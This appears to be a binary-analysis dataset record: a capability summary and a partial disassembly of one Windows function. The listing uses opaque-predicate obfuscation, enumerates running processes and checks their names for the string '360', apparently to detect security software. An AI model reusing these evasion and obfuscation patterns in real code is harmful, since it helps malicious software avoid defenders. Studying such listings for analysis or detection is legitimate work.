Function at 0x1400068c0
Capabilities:
Create process on windows
Get file attributes
Terminate process

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x1f8
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x170], 0xfffffffffffffffe
cmp dword [0x1400c35c0], 0xa
jl 0x140006904
mov eax, dword [0x1400c35c4]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
jne 0x140006d6f
mov eax, 0x110
call fcn.14008c4b0
sub rsp, rax
mov rbx, rsp
mov eax, 0x20
call fcn.14008c4b0
sub rsp, rax
mov r15, rsp
mov eax, 0x20
call fcn.14008c4b0
sub rsp, rax
mov r14, rsp
mov eax, 0x130
call fcn.14008c4b0
sub rsp, rax
mov rsi, rsp
mov eax, 0x210
call fcn.14008c4b0
sub rsp, rax
mov rdi, rsp
mov eax, 0x20
call fcn.14008c4b0
sub rsp, rax
mov qword [rbp + 0x158], rsp
mov eax, 0x20
call fcn.14008c4b0
sub rsp, rax
mov qword [rbp + 0x80], rsp
mov eax, 0x20
call fcn.14008c4b0
sub rsp, rax
mov qword [rbp + 0x88], rsp
mov eax, 0x20
call fcn.14008c4b0
sub rsp, rax
mov qword [rbp + 0x90], rsp
mov eax, 0x20
call fcn.14008c4b0
sub rsp, rax
mov qword [rbp + 0x98], rsp
mov eax, 0x20
call fcn.14008c4b0
sub rsp, rax
mov qword [rbp + 0xa0], rsp
mov eax, reloc.WS2_32.dll_recv
call fcn.14008c4b0
sub rsp, rax
mov r12, rsp
mov eax, reloc.WS2_32.dll_recv
call fcn.14008c4b0
sub rsp, rax
mov r13, rsp
mov eax, 0x100
call fcn.14008c4b0
sub rsp, rax
mov qword [rbp + 0x108], rsp
mov eax, 0x100
call fcn.14008c4b0
sub rsp, rax
mov qword [rbp + 0x128], rsp
mov eax, 0x20
call fcn.14008c4b0
sub rsp, rax
mov qword [rbp + 0x18], rsp
mov eax, 0x20
call fcn.14008c4b0
sub rsp, rax
mov qword [rbp + 0x20], rsp
mov eax, 0x20
call fcn.14008c4b0
sub rsp, rax
mov qword [rbp + 0x28], rsp
mov eax, 0x20
call fcn.14008c4b0
sub rsp, rax
mov qword [rbp + 0x10], rsp
mov eax, 0x20
call fcn.14008c4b0
sub rsp, rax
mov qword [rbp + 8], rsp
mov eax, 0x20
call fcn.14008c4b0
sub rsp, rax
mov qword [rbp], rsp
mov eax, 0x20
call fcn.14008c4b0
sub rsp, rax
mov qword [rbp - 8], rsp
mov eax, 0x20
call fcn.14008c4b0
sub rsp, rax
mov qword [rbp - 0x10], rsp
mov eax, 0x20
call fcn.14008c4b0
sub rsp, rax
mov qword [rbp + 0x30], rsp
mov eax, reloc.WS2_32.dll_recv
call fcn.14008c4b0
sub rsp, rax
mov qword [rbp + 0xa8], rsp
mov eax, 0x20
call fcn.14008c4b0
sub rsp, rax
mov qword [rbp + 0x130], rsp
mov eax, 0x20
call fcn.14008c4b0
sub rsp, rax
mov qword [rbp + 0xf8], rsp
mov eax, 0x20
call fcn.14008c4b0
sub rsp, rax
mov qword [rbp + 0x160], rsp
mov eax, 0x20
call fcn.14008c4b0
sub rsp, rax
mov qword [rbp + 0x110], rsp
mov eax, reloc.WS2_32.dll_recv
call fcn.14008c4b0
sub rsp, rax
mov qword [rbp + 0x120], rsp
mov eax, reloc.WS2_32.dll_recv
call fcn.14008c4b0
sub rsp, rax
mov qword [rbp - 0x50], rsp
mov eax, reloc.WS2_32.dll_recv
call fcn.14008c4b0
sub rsp, rax
mov qword [rbp - 0x78], rsp
mov eax, 0x110
call fcn.14008c4b0
sub rsp, rax
mov qword [rbp - 0x58], rsp
mov eax, 0x20
call fcn.14008c4b0
sub rsp, rax
mov qword [rbp + 0xb0], rsp
mov eax, 0x20
call fcn.14008c4b0
sub rsp, rax
mov qword [rbp + 0xb8], rsp
mov eax, 0x20
call fcn.14008c4b0
sub rsp, rax
mov qword [rbp + 0xc0], rsp
mov eax, 0x20
call fcn.14008c4b0
sub rsp, rax
mov qword [rbp + 0xc8], rsp
mov eax, 0x20
call fcn.14008c4b0
sub rsp, rax
mov qword [rbp + 0xd0], rsp
mov eax, reloc.WS2_32.dll_recv
call fcn.14008c4b0
sub rsp, rax
mov qword [rbp - 0x20], rsp
mov eax, reloc.WS2_32.dll_recv
call fcn.14008c4b0
sub rsp, rax
mov qword [rbp - 0x18], rsp
mov eax, 0x100
call fcn.14008c4b0
sub rsp, rax
mov qword [rbp + 0x148], rsp
mov eax, 0x100
call fcn.14008c4b0
sub rsp, rax
mov qword [rbp + 0x150], rsp
mov eax, 0x20
call fcn.14008c4b0
sub rsp, rax
mov qword [rbp + 0x118], rsp
mov eax, 0x20
call fcn.14008c4b0
sub rsp, rax
mov qword [rbp + 0x38], rsp
mov eax, 0x20
call fcn.14008c4b0
sub rsp, rax
mov qword [rbp + 0x40], rsp
mov eax, 0x20
call fcn.14008c4b0
sub rsp, rax
mov qword [rbp + 0x50], rsp
mov eax, 0x20
call fcn.14008c4b0
sub rsp, rax
mov qword [rbp + 0x58], rsp
mov eax, 0x20
call fcn.14008c4b0
sub rsp, rax
mov qword [rbp + 0x60], rsp
mov eax, 0x20
call fcn.14008c4b0
sub rsp, rax
mov qword [rbp + 0x68], rsp
mov eax, 0x20
call fcn.14008c4b0
sub rsp, rax
mov qword [rbp + 0x70], rsp
mov eax, 0x20
call fcn.14008c4b0
sub rsp, rax
mov qword [rbp + 0xd8], rsp
mov eax, 0x20
call fcn.14008c4b0
sub rsp, rax
mov qword [rbp + 0x140], rsp
mov eax, 0x20
call fcn.14008c4b0
sub rsp, rax
mov qword [rbp + 0xf0], rsp
mov eax, 0x20
call fcn.14008c4b0
sub rsp, rax
mov qword [rbp + 0xe8], rsp
mov eax, 0x20
call fcn.14008c4b0
sub rsp, rax
mov qword [rbp + 0xe0], rsp
mov eax, 0x20
call fcn.14008c4b0
sub rsp, rax
mov qword [rbp + 0x48], rsp
mov eax, 0x20
call fcn.14008c4b0
sub rsp, rax
mov qword [rbp + 0x138], rsp
mov eax, WSACleanup
call fcn.14008c4b0
sub rsp, rax
mov qword [rbp - 0x30], rsp
mov eax, 0x20
call fcn.14008c4b0
sub rsp, rax
mov qword [rbp - 0x28], rsp
sub rsp, 0x20
xor ecx, ecx
mov rdx, rbx
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
add rsp, 0x20
cmp dword [0x1400c35c0], 0xa
jl 0x140006d9a
mov ecx, dword [0x1400c35c4]
lea edx, [rcx + 1]
imul edx, ecx
and edx, 1
je 0x140006d9a
mov eax, 0x110
call fcn.14008c4b0
sub rsp, rax
mov rdx, rsp
sub rsp, 0x20
xor ecx, ecx
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
add rsp, 0x20
jmp 0x140006904
test eax, eax
je 0x140006ee2
mov qword [rbp + 0x100], r14
mov qword [rbp - 0x48], rsi
lea r14, [0x1400ae9ef]
mov qword [rbp + 0x168], r15
jmp 0x140006de1
sub rsp, 0x20
mov r15, qword [rbp + 0x168]
mov rcx, r15
mov rdx, r14
mov r8, 0xffffffffffffffff
call fcn.14000a700
add rsp, 0x20
sub rsp, 0x20
mov rcx, r15
call fcn.14000b3d0
mov rcx, rbx
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
add rsp, 0x20
sub rsp, 0x20
mov rcx, r15
mov rdx, rbx
mov r8, rax
call fcn.14000b500
add rsp, 0x20
cmp dword [0x1400c3428], 0xa
jl 0x140006e2d
mov eax, dword [0x1400c342c]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
jne 0x140006ee0
sub rsp, 0x20
mov rcx, qword [rbp + 0x168]
mov rdx, r14
mov r8, 0xffffffffffffffff
call fcn.14000a700
add rsp, 0x20
cmp dword [0x1400c35c0], 0xa
jl 0x140006efb
mov ecx, dword [0x1400c35c4]
lea edx, [rcx + 1]
imul edx, ecx
and edx, 1
je 0x140006efb
sub rsp, 0x20
mov r15, qword [rbp + 0x168]
mov rcx, r15
call fcn.14000b3d0
mov rcx, rbx
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
add rsp, 0x20
sub rsp, 0x20
mov rcx, r15
mov rdx, rbx
mov r8, rax
call fcn.14000b500
add rsp, 0x20
cmp dword [0x1400c3428], 0xa
jl 0x140006dc0
mov eax, dword [0x1400c342c]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x140006dc0
nop word cs:[rax + rax]
jmp 0x140006ed0
jmp 0x140006ee0
mov eax, 1
lea rsp, [rbp + 0x178]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
cmp rax, 0xffffffffffffffff
je 0x140006f52
inc rax
sub rsp, 0x20
mov rcx, qword [rbp + 0x168]
mov rbx, qword [rbp + 0x100]
mov rdx, rbx
mov r8, rax
mov r9, 0xffffffffffffffff
call fcn.14000a7a0
add rsp, 0x20
mov r14, qword [rbp - 0x48]
mov edx, dword [0x1400c35c4]
mov ecx, dword [0x1400c35c0]
lea eax, [rdx + 1]
imul eax, edx
and eax, 1
cmp ecx, 0xa
jl 0x140006f89
test eax, eax
je 0x140006f89
nop
jmp 0x140006f50
sub rsp, 0x20
mov rbx, qword [rbp + 0x100]
mov rcx, rbx
mov rdx, qword [rbp + 0x168]
call fcn.1400062d0
add rsp, 0x20
mov r14, qword [rbp - 0x48]
mov edx, dword [0x1400c35c4]
mov ecx, dword [0x1400c35c0]
lea eax, [rdx + 1]
imul eax, edx
and eax, 1
cmp ecx, 0xa
jl 0x140006fa2
test eax, eax
je 0x140006fa2
nop word cs:[rax + rax]
jmp 0x140006fa0
cmp qword [rbx + 0x10], 0xc
jne 0x140009684
sub rsp, 0x20
call fcn.140004110
add rsp, 0x20
cmp dword [0x1400c35c0], 0xa
mov rbx, qword [rbp + 0x158]
jl 0x140006ffc
nop word [rax + rax]
mov eax, dword [0x1400c35c4]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x140006ffc
sub rsp, 0x20
call fcn.140004110
call fcn.140004110
add rsp, 0x20
cmp dword [0x1400c35c0], 0xa
jge 0x140006fd0
sub rsp, 0x20
call fcn.140004520
add rsp, 0x20
cmp dword [0x1400c35c0], 0xa
jl 0x140007032
mov eax, dword [0x1400c35c4]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x140007032
nop word cs:[rax + rax]
jmp 0x140007030
sub rsp, 0x20
xor eax, eax
mov qword [rbp - 0x38], rax
mov ecx, 2
xor edx, edx
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
add rsp, 0x20
mov qword [rbp + 0x78], rax
mov dword [r14], 0x130
add rsi, 0x2c
mov rax, qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
jmp 0x140007073
test eax, eax
mov rax, qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
je 0x140007552
sub rsp, 0x30
mov qword [rsp + 0x20], rdi
mov dword [rsp + 0x28], 0x104
xor ecx, ecx
xor edx, edx
mov r8, rsi
mov r9d, 0xffffffff
call rax
add rsp, 0x10
mov rcx, rbx
call fcn.1400681d0
mov rcx, rdi
call sub.api_ms_win_crt_string_l1_1_0.dll_wcslen
add rsp, 0x20
sub rsp, 0x20
mov rcx, rbx
mov rdx, rdi
mov r8, rax
call fcn.14006cdb0
add rsp, 0x20
cmp dword [0x1400c35c8], 0xa
jl 0x1400070df
mov eax, dword [0x1400c35cc]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
jne 0x140007510
mov ecx, dword [0x1400c35c4]
mov edx, dword [0x1400c35c0]
lea eax, [rcx + 1]
imul eax, ecx
and eax, 1
sete cl
mov dword [rbp - 0x5c], edx
cmp edx, 0xa
setl dl
or dl, cl
mov rbx, qword [rbp + 0x158]
mov rcx, qword [rbx]
mov qword [rbp - 0x70], rcx
mov rcx, qword [rbx + 0x10]
mov qword [rbp - 0x40], rcx
mov rcx, qword [rbx + 0x18]
mov qword [rbp - 0x68], rcx
mov r15d, edx
cmp dl, 1
je 0x1400071d0
cmp qword [rbp - 0x68], 8
mov r8, rbx
cmovae r8, qword [rbp - 0x70]
mov r9, qword [rbp - 0x40]
sub r9, 3
jb 0x1400071d0
lea r14, [r8 + r9*2]
lea rcx, [r8 + r9*2]
add rcx, 2
mov rbx, r8
cmp rcx, r8
je 0x1400071b8
mov rdx, rcx
sub rdx, rbx
sar rdx, 1
xor r10d, r10d
xor r11d, r11d
nop word [rax + rax]
cmp word [rbx + r10*2], 0x33
je 0x140007186
add r11, 0xfffffffffffffffe
inc r10
cmp rdx, r10
jne 0x140007170
jmp 0x1400071ac
mov rdx, rbx
sub rdx, r11
cmp word [rbx + r10*2 + 2], 0x36
jne 0x14000719e
cmp word [rbx + r10*2 + 4], 0x30
je 0x1400071ac
cmp rdx, r14
je 0x1400071ac
add rdx, 2
mov rbx, rdx
jmp 0x14000715b
mov rbx, qword [rbp + 0x158]
jmp 0x1400072d9
mov rbx, qword [rbp + 0x158]
jmp 0x1400072e8
cmp qword [rbp - 0x68], 8
mov r8, rbx
cmovae r8, qword [rbp - 0x70]
mov r9, qword [rbp - 0x40]
mov r14, 0xffffffffffffffff
sub r9, 3
lea rcx, [r8 + r9*2 + 2]
jb 0x14000726a
cmp rcx, r8
je 0x14000726a
lea rdx, [r8 + r9*2]
mov qword [rbp - 0x80], rdx
mov rbx, r8
mov r11, rcx
sub r11, rbx
sar r11, 1
xor edx, edx
xor r10d, r10d
nop word cs:[rax + rax]
cmp word [rbx + rdx*2], 0x33
je 0x140007235
add r10, 0xfffffffffffffffe
inc rdx
cmp r11, rdx
jne 0x140007220
jmp 0x140007263
cmp word [rbx + rdx*2 + 2], 0x36
jne 0x140007245
cmp word [rbx + rdx*2 + 4], 0x30
je 0x140007257
sub rbx, r10
lea rdx, [rbx + 2]
cmp rbx, qword [rbp - 0x80]
mov rbx, rdx
jne 0x140007203
jmp 0x140007263
sub rbx, r8
sub rbx, r10
sar rbx, 1
mov r14, rbx
mov rbx, qword [rbp + 0x158]
test r15b, r15b
je 0x1400072d9
test r14, r14
mov edx, dword [rbp - 0x5c]
jne 0x1400072c3
sub rsp, 0x20
xor ecx, ecx
lea rdx, [0x1400aeb26]
lea r8, [0x1400aeb6a]
mov r9d, 0x40
call qword [sym.imp.USER32.dll_MessageBoxW]
mov rcx, qword [rbp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rsp, 0x20
mov ecx, dword [0x1400c35c4]
mov edx, dword [0x1400c35c0]
lea eax, [rcx + 1]
imul eax, ecx
and eax, 1
mov ecx, 1
mov qword [rbp - 0x38], rcx
cmp edx, 0xa
jl 0x140007360
test eax, eax
jne 0x1400073f0
jmp 0x140007360
lea r14, [r8 + r9*2]
cmp qword [rbp - 0x40], 3
jb 0x1400071d0
lea rdx, [r14 + 2]
cmp rdx, r8
je 0x1400071d0
mov r10, rcx
sub r10, r8
sar r10, 1
xor r9d, r9d
xor r11d, r11d
nop word cs:[rax + rax]
cmp word [r8 + r9*2], 0x33
je 0x140007329
add r11, 0xfffffffffffffffe
inc r9
cmp r10, r9
jne 0x140007310
jmp 0x1400071d0
mov rdx, r8
sub rdx, r11
cmp word [r8 + r9*2 + 2], 0x36
jne 0x140007345
cmp word [r8 + r9*2 + 4], 0x30
je 0x1400071d0
cmp rdx, r14
je 0x1400071d0
add rdx, 2
mov r8, rdx
jmp 0x1400072f5
sub rsp, 0x20
mov rcx, rbx
call fcn.14006dcb0
add rsp, 0x20
cmp dword [0x1400c34f0], 0xa
jl 0x14000738e
mov eax, dword [0x1400c34f4]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
jne 0x1400074d0
mov eax, dword [0x1400c34f8]
lea ecx, [rax + 1]
imul ecx, eax
test cl, 1
sete cl
cmp dword [0x1400c34fc], 0xa
setl al
or al, cl
cmp dword [0x1400c3500], 0xa
jl 0x1400073ca
mov ecx, dword [0x1400c3504]
lea edx, [rcx + 1]
imul edx, ecx
and edx, 1
jne 0x140007532
test al, al
je 0x140007500
cmp dword [0x1400c35c0], 0xa
jl 0x140007467
mov eax, dword [0x1400c35c4]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x140007467
sub rsp, 0x20
mov rcx, rbx
call fcn.14006dcb0
add rsp, 0x20
cmp dword [0x1400c34f0], 0xa
jl 0x14000741e
mov eax, dword [0x1400c34f4]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
jne 0x1400074e0
mov eax, dword [0x1400c34f8]
lea ecx, [rax + 1]
imul ecx, eax
test cl, 1
sete cl
cmp dword [0x1400c34fc], 0xa
setl al
or al, cl
cmp dword [0x1400c3500], 0xa
jl 0x14000745a
mov ecx, dword [0x1400c3504]
lea edx, [rcx + 1]
imul edx, ecx
and edx, 1
jne 0x140007512
test al, al
jne 0x140007360
jmp 0x1400074f0
test r14, r14
je 0x140007847
sub rsp, 0x20
mov rcx, qword [rbp + 0x78]
mov r14, qword [rbp - 0x48]
nop dword [rax]
mov rdx, r14
call sub.KERNEL32.dll_Process32Next
add rsp, 0x20
cmp dword [0x1400c35c0], 0xa
jl 0x140007064
mov ecx, dword [0x1400c35c4]
lea edx, [rcx + 1]
imul edx, ecx
and edx, 1
je 0x140007064
sub rsp, 0x20
mov r15, qword [rbp + 0x78]
mov rcx, r15
mov rdx, r14
call sub.KERNEL32.dll_Process32Next
mov rcx, r15
jmp 0x140007480
jmp 0x1400074d0
jmp 0x1400074e0
jmp 0x1400074f0
jmp 0x140007500
jmp 0x140007510
test al, al
je 0x140007530
nop word cs:[rax + rax]
jmp 0x140007520
jmp 0x140007530
test al, al
je 0x140007550
nop word cs:[rax + rax]
jmp 0x140007540
jmp 0x140007550
sub rsp, 0x20
mov rcx, qword [rbp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rsp, 0x20
cmp dword [0x1400c35c0], 0xa
jl 0x1400075b5
mov eax, dword [0x1400c35c4]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x1400075b5
mov rsi, qword [rbp + 0x78]
sub rsp, 0x20
mov rcx, rsi
mov rdi, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rdi
mov rcx, rsi
call rdi
add rsp, 0x20
cmp dword [0x1400c35c0], 0xa
jl 0x1400075b5
mov eax, dword [0x1400c35c4]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
jne 0x140007582
sub rsp, 0x20
mov rsi, qword [rbp + 0x80]
mov rcx, rsi
call fcn.14000b3d0
add rsp, 0x20
sub rsp, 0x20
lea rdx, [0x1400ae9aa]
mov r8d, 2
mov rcx, rsi
call fcn.14000b500
add rsp, 0x20
cmp dword [0x1400c3428], 0xa
jl 0x140007612
mov eax, dword [0x1400c342c]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x140007612
nop word cs:[rax + rax]
jmp 0x140007610
cmp dword [0x1400c35c0], 0xa
jl 0x140007632
mov eax, dword [0x1400c35c4]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x140007632
nop dword [rax]
jmp 0x140007630
sub rsp, 0x20
mov rsi, qword [rbp + 0x88]
mov rcx, rsi
call fcn.14000b3d0
add rsp, 0x20
sub rsp, 0x20
lea rdx, [0x1400ae967]
mov r8d, 2
mov rcx, rsi
call fcn.14000b500
add rsp, 0x20
cmp dword [0x1400c3428], 0xa
jl 0x140007682
mov eax, dword [0x1400c342c]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x140007682
jmp 0x140007680
cmp dword [0x1400c35c0], 0xa
jl 0x1400076a2
mov eax, dword [0x1400c35c4]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x1400076a2
nop dword [rax]
jmp 0x1400076a0
sub rsp, 0x20
mov rsi, qword [rbp + 0x90]
mov rcx, rsi
call fcn.14000b3d0
add rsp, 0x20
sub rsp, 0x20
lea rdx, [0x1400ae963]
mov r8d, 3
mov rcx, rsi
call fcn.14000b500
add rsp, 0x20
cmp dword [0x1400c3428], 0xa
jl 0x1400076f2
mov eax, dword [0x1400c342c]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x1400076f2
jmp 0x1400076f0
cmp dword [0x1400c35c0], 0xa
jl 0x14000770e
mov eax, dword [0x1400c35c4]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x14000770e
jmp 0x14000770c
sub rsp, 0x20
mov rsi, qword [rbp + 0x98]
mov rcx, rsi
call fcn.14000b3d0
add rsp, 0x20
sub rsp, 0x20
lea rdx, [0x1400ae9a6]
mov r8d, 3
mov rcx, rsi
call fcn.14000b500
add rsp, 0x20
cmp dword [0x1400c3428], 0xa
jl 0x14000775e
mov eax, dword [0x1400c342c]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x14000775e
jmp 0x14000775c
cmp dword [0x1400c35c0], 0xa
jl 0x14000777a
mov eax, dword [0x1400c35c4]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x14000777a
jmp 0x140007778
sub rsp, 0x20
mov rsi, qword [rbp + 0xa0]
mov rcx, rsi
call fcn.14000b3d0
add rsp, 0x20
sub rsp, 0x20
lea rdx, [0x1400ae99f]
mov r8d, 3
mov rcx, rsi
call fcn.14000b500
add rsp, 0x20
cmp dword [0x1400c3428], 0xa
jl 0x1400077ca
mov eax, dword [0x1400c342c]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x1400077ca
jmp 0x1400077c8
sub rsp, 0x20
mov rcx, qword [rbp + 0x108]
mov rdx, qword [rbp + 0x80]
mov r8d, 3
mov r9d, 1
call fcn.14000a950
add rsp, 0x20
mov edx, dword [0x1400c35d0]
mov eax, dword [0x1400c35d4]
lea ecx, [rdx + 1]
imul ecx, edx
and ecx, 1
cmp eax, 0xa
jl 0x14000783c
test ecx, ecx
je 0x14000783c
sub rsp, 0x20
mov rcx, qword [rbp + 0x108]
mov rdx, r12
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___int____ptr64____ptr64]
add rsp, 0x20
mov edx, dword [0x1400c35d0]
mov eax, dword [0x1400c35d4]
lea ecx, [rdx + 1]
imul ecx, edx
and ecx, 1
test ecx, ecx
je 0x140007873
cmp eax, 9
jg 0x1400078a5
jmp 0x140007873
mov rdi, qword [rbp + 0x168]
mov rcx, qword [rbp + 0x100]
sub rsp, 0x20
call fcn.140001f00
mov rcx, rdi
call fcn.140001f00
add rsp, 0x20
mov rax, qword [rbp - 0x38]
jmp 0x140006ee7
sub rsp, 0x20
mov rcx, qword [rbp + 0x108]
mov rdx, r12
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___int____ptr64____ptr64]
add rsp, 0x20
cmp dword [0x1400c35d4], 0xa
jl 0x1400078bf
mov eax, dword [0x1400c35d0]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x1400078bf
sub rsp, 0x20
mov rcx, qword [rbp + 0x108]
mov rdx, r12
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___int____ptr64____ptr64]
add rsp, 0x20
jmp 0x140007873
cmp dword [0x1400c35d8], 0xa
jl 0x1400078db
mov eax, dword [0x1400c35dc]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
jne 0x14000791c
jmp 0x1400078db
mov rax, qword [rbp + 0x108]
lea rsi, [rax + 0x98]
sub rsp, 0x20
mov rcx, rsi
call fcn.14006dd80
mov rcx, rsi
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::ios_base::destructor_void____ptr64]
add rsp, 0x20
cmp dword [0x1400c35d8], 0xa
jl 0x140007945
mov eax, dword [0x1400c35dc]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x140007945
mov rax, qword [rbp + 0x108]
lea rsi, [rax + 0x98]
sub rsp, 0x20
mov rcx, rsi
call fcn.14006dd80
mov rcx, rsi
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::ios_base::destructor_void____ptr64]
add rsp, 0x20
jmp 0x1400078db
sub rsp, 0x20
mov rcx, qword [rbp + 0x128]
mov rdx, qword [rbp + 0x88]
mov r8d, 3
mov r9d, 1
call fcn.14000a950
add rsp, 0x20
cmp dword [0x1400c35c0], 0xa
jl 0x140007988
mov eax, dword [0x1400c35c4]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x140007988
jmp 0x140007986
mov edx, dword [0x1400c35d0]
mov eax, dword [0x1400c35d4]
lea ecx, [rdx + 1]
imul ecx, edx
and ecx, 1
cmp eax, 0xa
jl 0x1400079d3
test ecx, ecx
je 0x1400079d3
sub rsp, 0x20
mov rcx, qword [rbp + 0x128]
mov rdx, r13
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___int____ptr64____ptr64]
add rsp, 0x20
mov edx, dword [0x1400c35d0]
mov eax, dword [0x1400c35d4]
lea ecx, [rdx + 1]
imul ecx, edx
and ecx, 1
test ecx, ecx
je 0x1400079dc
cmp eax, 9
jg 0x140007a0e
sub rsp, 0x20
mov rcx, qword [rbp + 0x128]
mov rdx, r13
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___int____ptr64____ptr64]
add rsp, 0x20
cmp dword [0x1400c35d4], 0xa
jl 0x140007a28
mov eax, dword [0x1400c35d0]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x140007a28
sub rsp, 0x20
mov rcx, qword [rbp + 0x128]
mov rdx, r13
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___int____ptr64____ptr64]
add rsp, 0x20
jmp 0x1400079dc
cmp dword [0x1400c35c0], 0xa
mov ecx, dword [0x1400c35dc]
mov eax, dword [0x1400c35d8]
jl 0x140007a66
mov edx, dword [0x1400c35c4]
lea r8d, [rdx + 1]
imul r8d, edx
and r8d, 1
je 0x140007a66
lea edx, [rcx + 1]
imul edx, ecx
and edx, 1
mov rdi, qword [rbp + 0x128]
jmp 0x140007b04
mov rdi, qword [rbp + 0x128]
jmp 0x140007a6f
cmp eax, 0xa
jl 0x140007a7f
lea eax, [rcx + 1]
imul eax, ecx
and eax, 1
jne 0x140007abd
lea rsi, [rdi + 0x98]
sub rsp, 0x20
mov rcx, rsi
call fcn.14006dd80
mov rcx, rsi
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::ios_base::destructor_void____ptr64]
add rsp, 0x20
mov ecx, dword [0x1400c35dc]
mov eax, dword [0x1400c35d8]
lea edx, [rcx + 1]
imul edx, ecx
and edx, 1
cmp eax, 0xa
jl 0x140007adf
test edx, edx
je 0x140007adf
lea rsi, [rdi + 0x98]
sub rsp, 0x20
mov rcx, rsi
call fcn.14006dd80
mov rcx, rsi
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::ios_base::destructor_void____ptr64]
add rsp, 0x20
jmp 0x140007a7f
mov esi, dword [r13]
add esi, dword [r12]
cmp dword [0x1400c35c0], 0xa
jl 0x140007b1a
mov ecx, dword [0x1400c35c4]
lea r8d, [rcx + 1]
imul r8d, ecx
and r8d, 1
je 0x140007b1a
cmp eax, 0xa
jl 0x140009694
test edx, edx
jne 0x1400096d8
jmp 0x140009694
cmp dword [0x1400c35e0], 0xa
mov rdi, qword [rbp + 0x18]
jl 0x140007b38
mov eax, dword [0x1400c35e4]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
jne 0x140007b64
sub rsp, 0x20
mov rcx, rdi
mov edx, esi
call fcn.14006f200
add rsp, 0x20
cmp dword [0x1400c35e0], 0xa
jl 0x140007b93
mov eax, dword [0x1400c35e4]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x140007b93
sub rsp, 0x20
mov rcx, rdi
mov edx, esi
call fcn.14006f200
add rsp, 0x20
sub rsp, 0x20
mov rcx, rdi
mov edx, esi
call fcn.14006f200
add rsp, 0x20
cmp dword [0x1400c35e0], 0xa
jge 0x140007b27
jmp 0x140007b38
cmp dword [0x1400c35c0], 0xa
jl 0x140007baf
mov eax, dword [0x1400c35c4]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x140007baf
jmp 0x140007bad
sub rsp, 0x20
mov rcx, qword [rbp + 0x20]
mov rdx, qword [rbp + 0x18]
call fcn.1400062d0
add rsp, 0x20
cmp dword [0x1400c35c0], 0xa
jl 0x140007be0
mov eax, dword [0x1400c35c4]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x140007be0
jmp 0x140007bde
sub rsp, 0x20
lea r8, [0x1400aea9e]
mov rcx, qword [rbp - 0x10]
mov rdx, qword [rbp + 0x20]
call fcn.140003960
add rsp, 0x20
cmp dword [0x1400c35c0], 0xa
jl 0x140007c18
mov eax, dword [0x1400c35c4]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x140007c18
jmp 0x140007c16
sub rsp, 0x20
mov rcx, qword [rbp - 8]
mov rdx, qword [rbp - 0x10]
mov r8, qword [rbp + 0x90]
call fcn.140003780
add rsp, 0x20
cmp dword [0x1400c35c0], 0xa
jl 0x140007c50
